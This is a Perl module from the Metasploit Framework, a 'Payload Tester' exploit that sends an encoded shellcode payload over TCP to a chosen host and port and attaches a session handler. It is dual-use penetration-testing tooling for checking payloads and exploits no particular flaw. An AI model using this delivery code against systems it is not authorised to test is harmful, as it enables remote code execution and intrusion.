
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::Tester;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
{
    'Name'      => 'Payload Tester',
    'Version'   => '$Revision: 1.19 $',
    'Authors'   => [ 'H D Moore <hdm [at] metasploit.com>', ],
    'Arch'      => [ 'x86' ],
    'OS'        => [ 'bsd', 'bsdi', 'linux', 'win32' ],
    'Priv'      => 1,
    'UserOpts'  => 
                {
                    'RHOST' => [1, 'ADDR', 'The target address'],
                    'RPORT' => [1, 'PORT', 'The target port', 5432],
                },
    'Payload'   => 
	 	{ 
			'Space'  => 1000, 
			MaxNops => 0,
	 		'Keys' => [ '+findsock', '+ws2ord' ],
		},
    
    'Description' => Pex::Text::Freeform(qq{
This exploit is used to test payloads.
    }),

    'Refs'  => [ ],
    'DefaultTarget' => 0,
    'Targets' => [['Default Target']],
};

sub new {
  my $class = shift;
  my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  return($self);
}

sub Loadable {
  my $self = shift;
  return($self->GetVar('_MsfPayload') || $self->DebugLevel > 0);
}

sub Exploit {
    my $self = shift;
    my $target_host = $self->GetVar('RHOST');
    my $target_port = $self->GetVar('RPORT');
  
    my $shellcode   =$self->GetVar('EncodedPayload')->Payload;

    my $request = $shellcode;
    my $s = Msf::Socket::Tcp->new
    (
        'PeerAddr' => $target_host, 
        'PeerPort' => $target_port, 
        'LocalPort' => $self->GetVar('CPORT'),
    );
    if ($s->IsError) {
      $self->PrintLine('[*] Socket $idx: Error creating socket: ' . $s->GetError);
      return;
    }    
   

    $self->PrintLine("[*] Sending " .length($request) . " bytes to remote host.");
    $s->Send($request);

	 $self->Handler($s);

    $self->PrintLine("[*] Waiting for a response...");
    my $r = $s->Recv(-1, 5);

    sleep(2);
    return;
}

